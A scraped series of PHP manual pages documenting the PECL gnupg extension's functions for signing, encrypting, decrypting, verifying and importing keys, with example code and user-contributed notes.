GNUPG_SIGSUM_CRL_TOO_OLD (integer)
GNUPG_SIGSUM_BAD_POLICY (integer)
GNUPG_SIGSUM_SYS_ERROR (integer)
GNUPG_ERROR_WARNING (integer)
GNUPG_ERROR_EXCEPTION (integer)
GNUPG_ERROR_SILENT (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
GnuPG


Examples

Table of Contents

  • Clearsign text

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Clearsign text
GnuPG


Clearsign text

This example will clearsign a given text.

Example #1 gnupg clearsign example (procedural)

<?php
// init gnupg
$res = gnupg_init();
// not really needed. Clearsign is default
gnupg_setsignmode($res,GNUPG_SIG_MODE_CLEAR);
// add key with passphrase 'test' for signing
gnupg_addsignkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
// sign
$signed = gnupg_sign($res,"just a test");
echo $signed;
?>

Example #2 gnupg clearsign example (OO)

<?php
// new class
$gnupg = new gnupg();
// not really needed. Clearsign is default
$gnupg->setsignmode(gnupg::SIG_MODE_CLEAR);
// add key with passphrase 'test' for signing
$gnupg->addsignkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
// sign
$signed = $gnupg->sign("just a test");
echo $signed;
?>

Example #3 keylistiterator

This extension also comes with an Iterator for your keyring.

<?php
// create a new iterator for listing all public keys that matches 'example'
$iterator = new gnupg_keylistiterator("example");
foreach($iterator as $fingerprint => $userid){
    echo $fingerprint." -> ".$userid."\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
GnuPG Functions
Examples


GnuPG Functions

Notes

This extension makes use of the keyring of the current user. This keyring is normally located in ~./.gnupg/. To specify a custom location, store the path to the keyring in the environment variable GNUPGHOME. See putenv for more information how to do this.

Some functions require the specification of a key. This specification can be anything that refers to a unique key (userid, key-id, fingerprint, ...). This documentation uses the fingerprint in all examples.

Table of Contents

  • gnupg_adddecryptkey — Add a key for decryption
  • gnupg_addencryptkey — Add a key for encryption
  • gnupg_addsignkey — Add a key for signing
  • gnupg_cleardecryptkeys — Removes all keys which were set for decryption before
  • gnupg_clearencryptkeys — Removes all keys which were set for encryption before
  • gnupg_clearsignkeys — Removes all keys which were set for signing before
  • gnupg_decrypt — Decrypts a given text
  • gnupg_decryptverify — Decrypts and verifies a given text
  • gnupg_encrypt — Encrypts a given text
  • gnupg_encryptsign — Encrypts and signs a given text
  • gnupg_export — Exports a key
  • gnupg_geterror — Returns the errortext, if a function fails
  • gnupg_getprotocol — Returns the currently active protocol for all operations
  • gnupg_import — Imports a key
  • gnupg_init — Initialize a connection
  • gnupg_keyinfo — Returns an array with information about all keys that matches the given pattern
  • gnupg_setarmor — Toggle armored output
  • gnupg_seterrormode — Sets the mode for error_reporting
  • gnupg_setsignmode — Sets the mode for signing
  • gnupg_sign — Signs a given text
  • gnupg_verify — Verifies a signed text

User Contributed Notes

phplist2REMOVE AT REMtincanOVE.co.uk 08-Nov-2006 09:20
There's a function/method missing in the list.

gnupg_deletekey

(no version information, might be only in CVS)

gnupg_deletekey -- Delete a key

Description

bool gnupg_deletekey ( resource identifier, string key, [bool allowsecret]  )

Deletes the key from the keyring. If allowsecret is not set or FALSE it will fail on deleting secret keys.

Return Values

On success, this function returns TRUE. On failure, this function returns FALSE.

Examples

Example 1. Procedural gnupg_deletekey() example

<?php
$res = gnupg_init();
gnupg_deletekey($res,"8660281B6051D071D94B5B230549F9DC851566DC");
?>

Example 2. OO gnupg_deletekey() example
<?php
$gpg = new gnupg();
$gpg -> deletekey("8660281B6051D071D94B5B230549F9DC851566DC");
?>
Clearsign text
gnupg_adddecryptkey
GnuPG


Add a key for decryption

GnuPG Functions
gnupg_addencryptkey
GnuPG Functions
PHP Manual

gnupg_adddecryptkey

(PECL gnupg >= 0.5)

gnupg_adddecryptkey — Add a key for decryption

Description

bool gnupg_adddecryptkey ( resource $identifier , string $fingerprint , string $passphrase )

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

fingerprint

The fingerprint key.

passphrase

The pass phrase.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Procedural gnupg_adddecryptkey() example

<?php
$res = gnupg_init();
gnupg_adddecryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
?>

Example #2 OO gnupg_adddecryptkey() example

<?php
$gpg = new gnupg();
$gpg -> adddecryptkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
?>

User Contributed Notes

There are no user contributed notes for this page.
GnuPG Functions
gnupg_addencryptkey
GnuPG Functions


Add a key for encryption

gnupg_adddecryptkey
gnupg_addsignkey
GnuPG Functions
PHP Manual

gnupg_addencryptkey

(PECL gnupg >= 0.5)

gnupg_addencryptkey — Add a key for encryption

Description

bool gnupg_addencryptkey ( resource $identifier , string $fingerprint )

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

fingerprint

The fingerprint key.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Procedural gnupg_addencryptkey() example

<?php
$res = gnupg_init();
gnupg_addencryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC");
?>

Example #2 OO gnupg_addencryptkey() example

<?php
$gpg = new gnupg();
$gpg -> addencryptkey("8660281B6051D071D94B5B230549F9DC851566DC");
?>

User Contributed Notes

php at cdauth dot de 02-Dec-2007 06:39
In this case, $fingerprint is the fingerprint of the public key whose private key shall be able to decrypt the text. The private key that you want to encrypt the text with has to be loaded via gnupg_addsignkey().
gnupg_adddecryptkey
gnupg_addsignkey
GnuPG Functions


Add a key for signing

gnupg_addencryptkey
gnupg_cleardecryptkeys
GnuPG Functions
PHP Manual

gnupg_addsignkey

(PECL gnupg >= 0.5)

gnupg_addsignkey — Add a key for signing

Description

bool gnupg_addsignkey ( resource $identifier , string $fingerprint [, string $passphrase ] )

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

fingerprint

The fingerprint key.

passphrase

The pass phrase.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Procedural gnupg_addsignkey() example

<?php
$res = gnupg_init();
gnupg_addsignkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
?>

Example #2 OO gnupg_addsignkey() example

<?php
$gpg = new gnupg();
$gpg -> addsignkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
?>

User Contributed Notes

php at cdauth dot de 13-May-2008 11:39
As of gnupg version 2, it is not possible to pass a plain password any more. The parameter is simply ignored. Instead, a pinentry application will be launched in case of php running in cli mode. In cgi or apache mode, opening the key will fail.
The simplest solution is to use keys without passwords.
gnupg_addencryptkey
gnupg_cleardecryptkeys
GnuPG Functions


Removes all keys which were set for decryption before

gnupg_addsignkey
gnupg_clearencryptkeys
GnuPG Functions
PHP Manual

gnupg_cleardecryptkeys

(PECL gnupg >= 0.5)

gnupg_cleardecryptkeys — Removes all keys which were set for decryption before

Description

bool gnupg_cleardecryptkeys ( resource $identifier )

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Procedural gnupg_cleardecryptkeys() example

<?php
$res = gnupg_init();
gnupg_cleardecryptkeys($res);
?>

Example #2 OO gnupg_cleardecryptkeys() example

<?php
$gpg = new gnupg();
$gpg -> cleardecryptkeys();
?>

User Contributed Notes

There are no user contributed notes for this page.
gnupg_addsignkey
gnupg_clearencryptkeys
GnuPG Functions


Removes all keys which were set for encryption before

gnupg_cleardecryptkeys
gnupg_clearsignkeys
GnuPG Functions
PHP Manual

gnupg_clearencryptkeys

(PECL gnupg >= 0.5)

gnupg_clearencryptkeys — Removes all keys which were set for encryption before

Description

bool gnupg_clearencryptkeys ( resource $identifier )

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Procedural gnupg_clearencryptkeys() example

<?php
$res = gnupg_init();
gnupg_clearencryptkeys($res);
?>

Example #2 OO gnupg_clearencryptkeys() example

<?php
$gpg = new gnupg();
$gpg -> clearencryptkeys();
?>

User Contributed Notes

There are no user contributed notes for this page.
gnupg_cleardecryptkeys
gnupg_clearsignkeys
GnuPG Functions


Removes all keys which were set for signing before

gnupg_clearencryptkeys
gnupg_decrypt
GnuPG Functions
PHP Manual

gnupg_clearsignkeys

(PECL gnupg >= 0.5)

gnupg_clearsignkeys — Removes all keys which were set for signing before

Description

bool gnupg_clearsignkeys ( resource $identifier )

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Procedural gnupg_clearsignkeys() example

<?php
$res = gnupg_init();
gnupg_clearsignkeys($res);
?>

Example #2 OO gnupg_clearsignkeys() example

<?php
$gpg = new gnupg();
$gpg -> clearsignkeys();
?>

User Contributed Notes

There are no user contributed notes for this page.
gnupg_clearencryptkeys
gnupg_decrypt
GnuPG Functions


Decrypts a given text

gnupg_clearsignkeys
gnupg_decryptverify
GnuPG Functions
PHP Manual

gnupg_decrypt

(PECL gnupg >= 0.1)

gnupg_decrypt — Decrypts a given text

Description

string gnupg_decrypt ( resource $identifier , string $text )

Decrypts the given text with the keys, which were set with gnupg_adddecryptkey before.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

text

The text being decrypted.

Return Values

On success, this function returns the decrypted text. On failure, this function returns FALSE.

Examples

Example #1 Procedural gnupg_decrypt() example

<?php
$res = gnupg_init();
gnupg_adddecryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
$plain = gnupg_decrypt($res,$encrypted_text);
echo $plain;
?>

Example #2 OO gnupg_encrypt() example

<?php
$gpg = new gnupg();
$gpg -> adddecryptkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$plain = $gpg -> decrypt($encrypted_text);
echo $plain;
?>

User Contributed Notes

Mike 28-Jan-2010 03:26
As of gnupg version 2, it is not possible to pass a plain password any more. The parameter is simply ignored. Instead, a pinentry application will be launched in case of php running in cli mode. In cgi or apache mode, opening the key will fail.
The simplest solution is to use keys without passwords.
gnupg_clearsignkeys
gnupg_decryptverify
GnuPG Functions


Decrypts and verifies a given text

gnupg_decrypt
gnupg_encrypt
GnuPG Functions
PHP Manual

gnupg_decryptverify

(PECL gnupg >= 0.2)

gnupg_decryptverify — Decrypts and verifies a given text

Description

array gnupg_decryptverify ( resource $identifier , string $text , string &$plaintext )

Decrypts and verifies a given text and returns information about the signature.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

text

The text being decrypted.

plaintext

The parameter plaintext gets filled with the decrypted text.

Return Values

On success, this function returns information about the signature and fills the plaintext parameter with the decrypted text. On failure, this function returns FALSE.

Examples

Example #1 Procedural gnupg_decryptverify() example

<?php
$plaintext = "";
$res = gnupg_init();
gnupg_adddecryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
$info = gnupg_decryptverify($res,$text,$plaintext);
print_r($info);
?>

Example #2 OO gnupg_decryptverify() example

<?php
$plaintext = "";
$gpg = new gnupg();
$gpg -> adddecryptkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$info = $gpg -> decryptverify($text,$plaintext);
print_r($info);
?>

User Contributed Notes

There are no user contributed notes for this page.
gnupg_decrypt
gnupg_encrypt
GnuPG Functions


Encrypts a given text

gnupg_decryptverify
gnupg_encryptsign
GnuPG Functions
PHP Manual

gnupg_encrypt

(PECL gnupg >= 0.1)

gnupg_encrypt — Encrypts a given text

Description

string gnupg_encrypt ( resource $identifier , string $plaintext )

Encrypts the given plaintext with the keys, which were set with gnupg_addencryptkey before and returns the encrypted text.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

plaintext

The text being encrypted.

Return Values

On success, this function returns the encrypted text. On failure, this function returns FALSE.

Examples

Example #1 Procedural gnupg_encrypt() example

<?php
$res = gnupg_init();
gnupg_addencryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC");
$enc = gnupg_encrypt($res, "just a test");
echo $enc;
?>

Example #2 OO gnupg_encrypt() example

<?php
$gpg = new gnupg();
$gpg -> addencryptkey("8660281B6051D071D94B5B230549F9DC851566DC");
$enc = $gpg -> encrypt("just a test");
echo $enc;
?>

User Contributed Notes

nick johnson 17-Apr-2008 11:44
After spending some time trying to get this extension to work, I've found that you have to have the GNUPGHOME environment variable set so that the keychain can be found, and have it set equal to the .gnupg directory itself, not the apache/httpd user's home directory (which is what is shown in dan's example code).  below is an example of this and a simple function I was working on at the time to encrypt a piece of data for storage in a database.

<?php
    // set the environment so gnupg can find the keyring
    putenv("GNUPGHOME=/home/apache/.gnupg");

    function encrypt_string($str,$fingerprint) {
        $res = gnupg_init();
        gnupg_addencryptkey($res,$fingerprint);
        $enc = gnupg_encrypt($res, $str);
        return $enc;
    }
?>
dan at f-box dot org 19-Feb-2008 07:20
This is a simple example of a Procedural use of import addencryptkey and encrypt. Obviously in a real world use you would only be importing the key once.

<?php

putenv("GNUPGHOME=/tmp");
$pubkey = "-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.6 (GNU/Linux)

mQGiBEe68W8RBACVuFuv4d+roDSCdRO1SuO8dQwds4VTjVOqgVKQtq6+8Fe95RY8
BAf1IyLj4bxvWPhr0wZdVwTosD/sFoPtdCyhVcF932nP0GLHsTEeVwSz9mid22HI
O4Kmwj2kE+I+C9QdzAg0zaWQnVaF9UC7pIdMR6tEnADI8nkVDdZ+zb2ziwCg6Yqu
tk3KAzKRT1SNUzTE/n9y2PED/1tIWiXfGBGzseX0W/e1G+MjuolWOXv4BXeiFGmn
8wnHsQ4Z4Tzk+ag0k+6pZZXjcL6Le486wpZ9MAe6LM31XDpQDVtyCL8t63nvQpB8
TUimbseBZMb3TytCubNLGFe5FnNLGDciElcD09d2xC6Xv6zE2jj4GtBW1bXqYWtl
jm0PA/4u6av6o6pIgLRfAawspr8kaeZ8+FU4NbIiS6xZmBUEQ/o7q95VKGgFVKBi
ugDOlnbgSzBIwSlsRVT2ivu/XVWnhQaRCotSm3AzOc2XecqrJ6F1gqk0n+yP/1h1
yeTvvfS5zgqNTG2UmovjVsKFzaDqmsYZ+sYfwc209z9PY+6FuLQnQXBhY2hlVGVz
dCAoVGVzdGluZykgPGFwYWNoZUBsb2NhbGhvc3Q+iF4EExECAB4FAke68W8CGwMG
CwkIBwMCAxUCAwMWAgECHgECF4AACgkQJE9COu2PFIEGDwCglArzAza13xjbdR04
DQ1U9FWQhMYAnRrWQeGTRm+BYm6SghNpDOKcmMqruQENBEe68XAQBADPIO+JFe5t
BQmI4l60bNMNSUqsL0TtIP8G6Bpd8q2xBOemHCLfGT9Y5DN6k0nneBQxajSfWBQ5
ZdKFwV5ezICz9fnGisEf9LPSwctfUIcvumbcPPsrUOUZX7BuCHrcfy1nebS3myO/
ScTKpW8Wz8AjpKTBG55DMkXSvnx+hS+PEwADBQP/dNnVlKYdNKA70B4QTEzfvF+E
5lyiauyT41SQoheTMhrs/3RIqUy7WWn3B20aTutHWWYXdYV+E85/CarhUmLNZGA2
tml1Mgl6F2myQ/+MiKi/aj9NVhcuz38OK/IAze7kNJJqK+UEWblB2Wfa31/9nNzv
ewVHa1xHtUyVDaewAACISQQYEQIACQUCR7rxcAIbDAAKCRAkT0I67Y8UgRwEAKDT
L6DwyEZGLTpAqy2OLUH7SFKm2ACgr3tnPuPFlBtHx0OqY4gGiNMJHXE=
=jHPH
-----END PGP PUBLIC KEY BLOCK-----";

$enc = (null);
$res = gnupg_init();
echo "gnupg_init RTV = <br/><pre>\n";
var_dump($res);
echo "</pre>\n";
$rtv = gnupg_import($res, $pubkey);
echo "gnupg_import RTV = <br/><pre>\n";
var_dump($rtv);
echo "</pre>\n";
$rtv = gnupg_addencryptkey($res, "C25F29936D9046D73A77DCF8244F423AED8F1481");
echo "gnupg_addencryptkey RTV = <br /><pre>\n";
var_dump($rtv);
echo "</pre>\n";
$enc = gnupg_encrypt($res, "just a test to see if anything works");
echo "Encrypted Data: " . $enc . "<br/>";

?>
paul at cressbrook dot co dot uk 14-Feb-2007 04:52
Hi

I found that the apache or httpd user (or whichever user the webserver is using to run) needed to have write access to the .gnupg directory for the gnupg_php functions to work. This could be your problem.  It seems a rather unsatisfactory feature of this module - gnupg keeps giving warnings that it is unsafe.
jkushner at livemercial dot com 03-Jan-2007 11:49
Very nice function, yet I cant seem to get it to work correctly.
Here is what I have..

/**
 * Test Values. Will be grabbed from database.
 */
$_STR_recipientKeyId='78F21BCA81042C23';

// This is a wrapper class I made that engulfs the gnupg class
if(!class_exists('core_Gnupg')){
    require(CORE_PATH_CLASS.'Gnupg.class.php');
}

//$_OBJ_gpg is just an instantiation of that class.
//returnInfo takes in the userID name, and uses the keyinfo() //function to return an array of data for that user.
$_ARR_keyinfo=$_OBJ_gpg->returnInfo($_STR_recipientUserId);

//now I have the fully functional userid
//ex: Jonathan Kushner <jkushner@livemercial.com>
$_STR_recipientUserId=$_ARR_keyinfo[0]['uids'][0]['uid'];

###########################

See, originally I was using the fingerprint from the $_ARR_keyinfo above and passing that into the encrypt function, but it still associated the encrypted data with my personal private key that I have associated with apache.

Any ideas?
gnupg_decryptverify
gnupg_encryptsign
GnuPG Functions


Encrypts and signs a given text

gnupg_encrypt
gnupg_export
GnuPG Functions
PHP Manual

gnupg_encryptsign

(PECL gnupg >= 0.2)

gnupg_encryptsign — Encrypts and signs a given text

Description

string gnupg_encryptsign ( resource $identifier , string $plaintext )

Encrypts and signs the given plaintext with the keys, which were set with gnupg_addsignkey and gnupg_addencryptkey before and returns the encrypted and signed text.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

plaintext

The text being encrypted.

Return Values

On success, this function returns the encrypted and signed text. On failure, this function returns FALSE.

Examples

Example #1 Procedural gnupg_encryptsign() example

<?php
$res = gnupg_init();
gnupg_addencryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC");
gnupg_addsignkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
$enc = gnupg_encryptsign($res, "just a test");
echo $enc;
?>

Example #2 OO gnupg_encryptsign() example

<?php
$gpg = new gnupg();
$gpg -> addencryptkey("8660281B6051D071D94B5B230549F9DC851566DC");
$gpg -> addsignkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$enc = $gpg -> encryptsign("just a test");
echo $enc;
?>

User Contributed Notes

There are no user contributed notes for this page.
gnupg_encrypt
gnupg_export
GnuPG Functions


Exports a key

gnupg_encryptsign
gnupg_geterror
GnuPG Functions
PHP Manual

gnupg_export

(PECL gnupg >= 0.1)

gnupg_export — Exports a key

Description

string gnupg_export ( resource $identifier , string $fingerprint )

Exports the key fingerprint.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

fingerprint

The fingerprint key.

Return Values

On success, this function returns the keydata. On failure, this function returns FALSE.

Examples

Example #1 Procedural gnupg_export() example

<?php
$res = gnupg_init();
$export = gnupg_export($res,"8660281B6051D071D94B5B230549F9DC851566DC");
echo $export;
?>

Example #2 OO gnupg_export() example

<?php
$gpg = new gnupg();
$export = $gpg -> export("8660281B6051D071D94B5B230549F9DC851566DC");
?>

User Contributed Notes

php at cdauth dot de 02-Dec-2007 02:21
Just to ensure you, because it is not mentioned in the manual: of course, only the public key is exported, even if you have the private key in your keyring.
gnupg_encryptsign
gnupg_geterror
GnuPG Functions


Returns the errortext, if a function fails

gnupg_export
gnupg_getprotocol
GnuPG Functions
PHP Manual

gnupg_geterror

(PECL gnupg >= 0.1)

gnupg_geterror — Returns the errortext, if a function fails

Description

string gnupg_geterror ( resource $identifier )

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

Return Values

Returns an errortext, if an error has occurred, otherwise FALSE.

Examples

Example #1 Procedural gnupg_geterror() example

<?php
$res = gnupg_init();
echo gnupg_geterror($res);
?>

Example #2 OO gnupg_geterror() example

<?php
$gpg = new gnupg();
echo $gpg -> geterror();
?>

User Contributed Notes

There are no user contributed notes for this page.
gnupg_export
gnupg_getprotocol
GnuPG Functions


Returns the currently active protocol for all operations

gnupg_geterror
gnupg_import
GnuPG Functions
PHP Manual

gnupg_getprotocol

(PECL gnupg >= 0.1)

gnupg_getprotocol — Returns the currently active protocol for all operations

Description

int gnupg_getprotocol ( resource $identifier )

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

Return Values

Returns the currently active protocol, which can be one of GNUPG_PROTOCOL_OpenPGP or GNUPG_PROTOCOL_CMS.

Examples

Example #1 Procedural gnupg_getprotocol() example

<?php
$res = gnupg_init();
echo gnupg_getprotocol($res);
?>

Example #2 OO gnupg_getprotocol() example

<?php
$gpg = new gnupg();
echo $gpg -> getprotocol();
?>

User Contributed Notes

There are no user contributed notes for this page.
gnupg_geterror
gnupg_import
GnuPG Functions


Imports a key

gnupg_getprotocol
gnupg_init
GnuPG Functions
PHP Manual

gnupg_import

(PECL gnupg >= 0.3)

gnupg_import — Imports a key

Description

array gnupg_import ( resource $identifier , string $keydata )

Imports the key keydata and returns an array with information about the importprocess.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

keydata

The data key that is being imported.

Return Values

On success, this function returns and info-array about the importprocess. On failure, this function returns FALSE.

Examples

Example #1 Procedural gnupg_import() example

<?php
$res = gnupg_init();
$info = gnupg_import($res,$keydata);
print_r($info);
?>

Example #2 OO gnupg_import() example

<?php
$gpg = new gnupg();
$info = $gpg -> import($keydata);
print_r($info);
?>

User Contributed Notes

dimitri at digirati dot com dot br 03-Oct-2008 07:54
I recommend that the key may be generated in shell command line, then you export the keys using this group of commands.

gpg --export -a "User Name" > public.key
gpg --export-secret-key -a "User Name" > private.key

to use it, at the import and use it for encryption and decryption.

<?php

$GnuPG = new gnupg();

$PublicData = file_get_contents('public.key');
$PrivateData = file_get_contents('public.key');

$PublicKey = $GnuPG->import($PublicData);
$PrivateKey = $GnuPG->import($PrivateData);

echo 'Public Key : ',$PublicKey['fingerprint'],' & Private Key : ',$PrivateKey['fingerprint'];

?>
php at cdauth dot de 02-Dec-2007 07:33
The return array consists of the following values:
(
  [imported] => (int),
  [unchanged] => (int),
  [newuserids] => (int),
  [newsubkeys] => (int),
  [secretimported] => (int),
  [secretunchanged] => (int),
  [newsignatures] => (int),
  [skippedkeys] => (int),
  [fingerprint] => (string)
)

When invalid content is passed, all values, even skippedkeys, is 0. The fingerprint value does not exist then.
gnupg_getprotocol
gnupg_init
GnuPG Functions


Initialize a connection

gnupg_import
gnupg_keyinfo
GnuPG Functions
PHP Manual

gnupg_init

(PECL gnupg >= 0.4)

gnupg_init — Initialize a connection

Description

resource gnupg_init ( void )

Parameters

This function has no parameters.

Return Values

A GnuPG resource connection used by other GnuPG functions.

Examples

Example #1 Procedural gnupg_init() example

<?php
$res = gnupg_init();
?>

Example #2 OO gnupg initializer example

<?php
$gpg = new gnupg();
?>

User Contributed Notes

There are no user contributed notes for this page.
gnupg_import
gnupg_keyinfo
GnuPG Functions


Returns an array with information about all keys that matches the given pattern

gnupg_init
gnupg_setarmor
GnuPG Functions
PHP Manual

gnupg_keyinfo

(PECL gnupg >= 0.1)

gnupg_keyinfo — Returns an array with information about all keys that matches the given pattern

Description

array gnupg_keyinfo ( resource $identifier , string $pattern )

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

pattern

The pattern being checked against the keys.

Return Values

Returns an array with information about all keys that matches the given pattern or FALSE, if an error has occurred.

Examples

Example #1 Procedural gnupg_keyinfo() example

<?php
$res = gnupg_init();
$info = gnupg_keyinfo($res, 'test');
print_r($info);
?>

Example #2 OO gnupg_keyinfo() example

<?php
$gpg = new gnupg();
$info = $gpg -> keyinfo("test");
print_r($info);
?>

User Contributed Notes

There are no user contributed notes for this page.
gnupg_init
gnupg_setarmor
GnuPG Functions


Toggle armored output

gnupg_keyinfo
gnupg_seterrormode
GnuPG Functions
PHP Manual

gnupg_setarmor

(PECL gnupg >= 0.1)

gnupg_setarmor — Toggle armored output

Description

bool gnupg_setarmor ( resource $identifier , int $armor )

Toggle the armored output.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

armor

Pass a non-zero integer-value to this function to enable armored-output (default). Pass 0 to disable armored output.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Procedural gnupg_setarmor() example

<?php
$res = gnupg_init();
gnupg_setarmor($res,1); // enable armored output;
gnupg_setarmor($res,0); // disable armored output;
?>

Example #2 OO gnupg_setarmor() example

<?php
$gpg = new gnupg();
$gpg -> setarmor(1); // enable armored output;
$gpg -> setarmor(0); // disable armored output;
?>

User Contributed Notes

jmgorena at gmail dot com 10-Jan-2008 02:51
Take note that when ARMOR is set to OFF, the output will be BINARY. This is wanted for converting file data to a binary gpg format.

With the ARMOR set to ON, the output is ASCII. This might be used for messaging (email, IM, IRC, etc).

Example with Armor on:
-----BEGIN PGP MESSAGE-----
Version: GnuPG v1.4.6 (GNU/Linux)

hQIOA+9JbyriNorZEAf/UuCyC0T80XffXVkmewfrRSvtsYbNSGZFvSr+32jJT2fs
...
...
=YJ4D
-----END PGP MESSAGE-----
gnupg_keyinfo
gnupg_seterrormode
GnuPG Functions


Sets the mode for error_reporting

gnupg_setarmor
gnupg_setsignmode
GnuPG Functions
PHP Manual

gnupg_seterrormode

(PECL gnupg >= 0.6)

gnupg_seterrormode — Sets the mode for error_reporting

Description

void gnupg_seterrormode ( resource $identifier , int $errormode )

Sets the mode for error_reporting.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

errormode

The error mode.

errormode takes a constant indicating what type of error_reporting should be used. The possible values are GNUPG_ERROR_WARNING, GNUPG_ERROR_EXCEPTION and GNUPG_ERROR_SILENT. By default GNUPG_ERROR_SILENT is used.

Return Values

No value is returned.

Examples

Example #1 Procedural gnupg_seterrormode() example

<?php
$res = gnupg_init();
gnupg_seterrormode($res,GNUPG_ERROR_WARNING); // raise a PHP-Warning in case of an error
?>

Example #2 OO gnupg_seterrormode() example

<?php
$gpg = new gnupg();
$gpg -> seterrormode(gnupg::ERROR_EXCEPTION); // throw an exception in case of an error
?>

User Contributed Notes

There are no user contributed notes for this page.
gnupg_setarmor
gnupg_setsignmode
GnuPG Functions


Sets the mode for signing

gnupg_seterrormode
gnupg_sign
GnuPG Functions
PHP Manual

gnupg_setsignmode

(PECL gnupg >= 0.1)

gnupg_setsignmode — Sets the mode for signing

Description

bool gnupg_setsignmode ( resource $identifier , int $signmode )

Sets the mode for signing.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

sigmode

The mode for signing.

signmode takes a constant indicating what type of signature should be produced. The possible values are GNUPG_SIG_MODE_NORMAL, GNUPG_SIG_MODE_DETACH and GNUPG_SIG_MODE_CLEAR. By default GNUPG_SIG_MODE_CLEAR is used.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Procedural gnupg_setsignmode() example

<?php
$res = gnupg_init();
gnupg_setsignmode($res,GNUPG_SIG_MODE_DETACH); // produce a detached signature
?>

Example #2 OO gnupg_setsignmode() example

<?php
$gpg = new gnupg();
$gpg -> setsignmode(gnupg::SIG_MODE_DETACH); // produce a detached signature
?>

User Contributed Notes

There are no user contributed notes for this page.
gnupg_seterrormode
gnupg_sign
GnuPG Functions


Signs a given text

gnupg_setsignmode
gnupg_verify
GnuPG Functions
PHP Manual

gnupg_sign

(PECL gnupg >= 0.1)

gnupg_sign — Signs a given text

Description

string gnupg_sign ( resource $identifier , string $plaintext )

Signs the given plaintext with the keys, which were set with gnupg_addsignkey before and returns the signed text or the signature, depending on what was set with gnupg_setsignmode.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

plaintext

The plain text being signed.

Return Values

On success, this function returns the signed text or the signature. On failure, this function returns FALSE.

Examples

Example #1 Procedural gnupg_sign() example

<?php
$res = gnupg_init();
gnupg_addsignkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
$signed = gnupg_sign($res, "just a test");
echo $signed;
?>

Example #2 OO gnupg_sign() example

<?php
$gpg = new gnupg();
$gpg -> setsignkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$signed = $gpg -> sign("just a test");
echo $signed;
?>

User Contributed Notes

phplist2REMOVE AT REMtincanOVE.co.uk 08-Nov-2006 03:42
It's a bit confusing how the "keyinfo" for a key returns "can_sign".

If you have only added your Public Key, it will indicate "can_sign" for the key in "keyinfo", but that doesn't mean yet, that you can sign with the key. You will also need to add your Private Key to actually make signing work.
gnupg_setsignmode
gnupg_verify
GnuPG Functions


Verifies a signed text

gnupg_sign
haru
GnuPG Functions
PHP Manual

gnupg_verify

(PECL gnupg >= 0.1)

gnupg_verify — Verifies a signed text

Description

array gnupg_verify ( resource $identifier , string $signed_text , string $signature [, string &$plaintext ] )

Verifies the given signed_text and returns information about the signature.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

signed_text

The signed text.

signature

The signature. To verify a clearsigned text, set signature to FALSE.

plaintext

The plain text. If this optional parameter is passed, it is filled with the plain text.

Return Values

On success, this function returns information about the signature. On failure, this function returns FALSE.

Examples

Example #1 Procedural gnupg_verify() example

<?php
$plaintext = "";
$res = gnupg_init();
// clearsigned
$info = gnupg_verify($res,$signed_text,false,$plaintext);
print_r($info);
// detached signature
$info = gnupg_verify($res,$signed_text,$signature);
print_r($info);
?>

Example #2 OO gnupg_verify() example

<?php
$plaintext = "";
$gpg = new gnupg();
// clearsigned
$info = $gpg -> verify($signed_text,false,$plaintext);
print_r($info);
// detached signature
$info = $gpg -> verify($signed_text,$signature);
print_r($info);
?>

User Contributed Notes

dd at hibm dot org 25-Feb-2009 05:48
